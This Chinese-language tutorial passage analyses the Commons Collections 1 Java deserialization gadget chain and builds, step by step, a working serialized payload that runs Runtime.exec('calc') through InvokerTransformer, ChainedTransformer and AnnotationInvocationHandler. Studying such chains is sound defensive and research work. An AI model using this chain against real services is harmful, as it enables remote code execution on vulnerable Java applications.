0x00 前言
Apache Commons
是Apache
软件基金会的项目,Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java
代码。
Commons Collections
包为Java
标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
0x01 漏洞分析
Commons Collections 1
利用版本
3.1 <= CommonsCollections
<= 3.2.1
限制
JDK版本:1.7(8u71之后已修复不可利用)
分析
漏洞点:Transformer
接口中InvokerTransformer
类transform()
方法
标准的任意方法调用,方法值、参数类型、参数都是可控的:
- 方法值:
iMethodName
- 参数类型:
iParamTypes
- 参数:
iArgs
- 对象:
input
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
先尝试执行危险方法transform
:new
一个InvokerTransformer
类,并且调用transform
方法。查看构造函数分别是参数名、参数类型数组、参数值数组,以及transform
中的对象
// 构造方法:参数名,参数类型,参数值
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
代码示例
package com.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class CC1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();
// 获取Class类的实例 常用三种方法
Class<? extends Runtime> aClass = runtime.getClass();
Class<Runtime> runtimeClass = Runtime.class;
Class.forName("java.lang.Runtime");
// for (Method method : aClass.getMethods()) {
// System.out.println(method);
// }
// Method execMethod = aClass.getMethod("exec", String.class);
// execMethod.invoke(runtime, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
逆向查找哪个方法调用了transform
方法
TransformedMap
- 发现
TransformedMap
的checkSetValue
方法调用了transform
方法,而valueTransformer
参数刚好可以通过TransformedMap.decorate(originalMap, null, valueTransformer)
来控制。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
TransformedMap
直接调用静态方法decorate
,三个参数分别是Map map, Transformer keyTransformer, Transformer valueTransformer
,新建一个map
,第二个参数可为空,第三个参数valueTransformer
会调用transform
方法,将invokerTransformer
赋值给valueTransformer
,即可构造出invokerTransformer.transform(value)
。
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
TransformedMap.decorate(map, null, invokerTransformer);
- 查找哪里调用了
checkSetValue
方法,抽象类AbstractInputCheckedMapDecorator
中MapEntry
类的setValue
方法
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
- 如果有遍历数组的地方并且最好是
readObejct
里调用了setValue
方法,将transformedMap
传入就可以执行后半条链,相当于invokerTransformer.transform(runtime)
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}
- 查找后发现
AnnotationInvocationHandler
类readObject
方法中调用了setValue
方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
// ...
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
- 实例化
AnnotationInvocationHandler
类
- 发现此类没有
public
修饰,只有在当前包内才可以访问,使用反射获取类,实例化AnnotationInvocationHandler
时,Object o = annotationInvocationdhdlConStructor.newInstance(Target.class, transformedMap);
,第一个参数为注解类型 Runtime runtime = Runtime.getRuntime();
,Runtime
类不能序列化,需要通过反射构造,Class<Runtime> runtimeClass = Runtime.class;
,因为Class
类继承Serializable
接口,可以序列化
package com.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
// Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();
// 获取Class类的实例 常用三种方法
Class<? extends Runtime> aClass = runtime.getClass();
Class<Runtime> runtimeClass = Runtime.class;
Class.forName("java.lang.Runtime");
// for (Method method : aClass.getMethods()) {
// System.out.println(method);
// }
// Method execMethod = aClass.getMethod("exec", String.class);
// execMethod.invoke(runtime, "calc");
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// for (Map.Entry entry : transformedMap.entrySet()) {
// entry.setValue(runtime);
// }
// 反射获取类
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射创建 获取构造器
Constructor<?> annotationInvocationdhdlConStructor = c.getDeclaredConstructor(Class.class, Map.class);
// 设置可访问
annotationInvocationdhdlConStructor.setAccessible(true);
// 实例化 调用构造方法
Object o = annotationInvocationdhdlConStructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
- 先将反射按照
InvokerTransformer.transform
来实现功能,然后发现ChainedTransformer
类中有自循环调用,修改后还是失败,发现问题在AnnotationInvocationHandler
类451
行处,发现memberValue.setValue
方法中的值为AnnotationTypeMismatchExceptionProxy
类型,继续步入setValue
方法
- 再次步入
- 最后回到
TransformedMap.checkSetValue
方法,需要控制value
- 查看
ConstantTransformer
类,发现ConstantTransformer.transform
方法,无论接受什么都返回Object
类型的任意值,如new ConstanTransformer(Runtime.class);
1.
// Runtime.getRuntime().exec("calc");
// Runtime 没有继承Serializable接口 无法序列化
// Runtime runtime = Runtime.getRuntime();
/* */
// Class 可以序列化
Class<Runtime> runtimeClass = Runtime.class;
// 静态方法 第一个参数为null
// 实例方法(非静态方法) 第一个参数不为null
// 无参方法 第二个参数为null 有参方法第二个参数不为null
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
// getRuntime静态方法,第一个参数为null
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
// 实例方法(非静态方法),第一个参数不为null
exec.invoke(runtime, "calc");
/* 通过InvokerTransformer转换后如下 */
// InvokerTransformer里面方法值、参数类型、参数值
// 方法值填:getMethod
// 参数类型:new Class[]{} 里面按照getMethod方法的参数类型填写 第一个是String类型 第二个是Class数组
// 参数值:new Object[]{} 里面填参数值
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// 参数类型:new Class[]{} 里面按照invoke方法的参数类型填写 第一个是String类型 第二个是Class数组
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
/* */
2.
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 验证结果
// chainedTransformer.transform(Runtime.class);
3.
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
/* Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
TransformedMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
public class CC1Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
// 获取Class类的实例 常用三种方法
// Class<? extends Runtime> aClass = runtime.getClass();
// Class<Runtime> runtimeClass = Runtime.class;
// Class.forName("java.lang.Runtime");
// Runtime.getRuntime().exec("calc");
// 不可以序列化的版本
// Runtime 没有继承Serializable接口 无法序列化
// Runtime runtime = Runtime.getRuntime();
// Class 可以序列化
// Class<Runtime> runtimeClass = Runtime.class;
// 静态方法getRuntime 参数类型无参
// Method getRuntime = runtimeClass.getMethod("getRuntime", null);
// 静态方法 第一个参数为null 无参方法 第二个参数为null
// Runtime runtime = (Runtime) getRuntime.invoke(null, null);
// Method exec = runtimeClass.getMethod("exec", String.class);
// exec.invoke(runtime, "calc");
// 可以序列化的版本
// InvokerTransformer里面方法值、参数类型、参数值
// 方法值填:getMethod
// 参数类型:new Class[]{} 里面按照getMethod方法的参数类型填写 第一个是String类型 第二个是Class数组
// 参数值:new Object[]{} 里面填参数值
// Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// 参数类型:new Class[]{} 里面按照invoke方法的参数类型填写 第一个是String类型 第二个是Class数组
// Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// 反射获取类
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 反射创建 获取构造器
Constructor<?> annotationInvocationdhdlConStructor = c.getDeclaredConstructor(Class.class, Map.class);
// 设置可访问
annotationInvocationdhdlConStructor.setAccessible(true);
// 实例化 调用构造方法
Object o = annotationInvocationdhdlConStructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
return objectInputStream.readObject();
}
}
LazyMap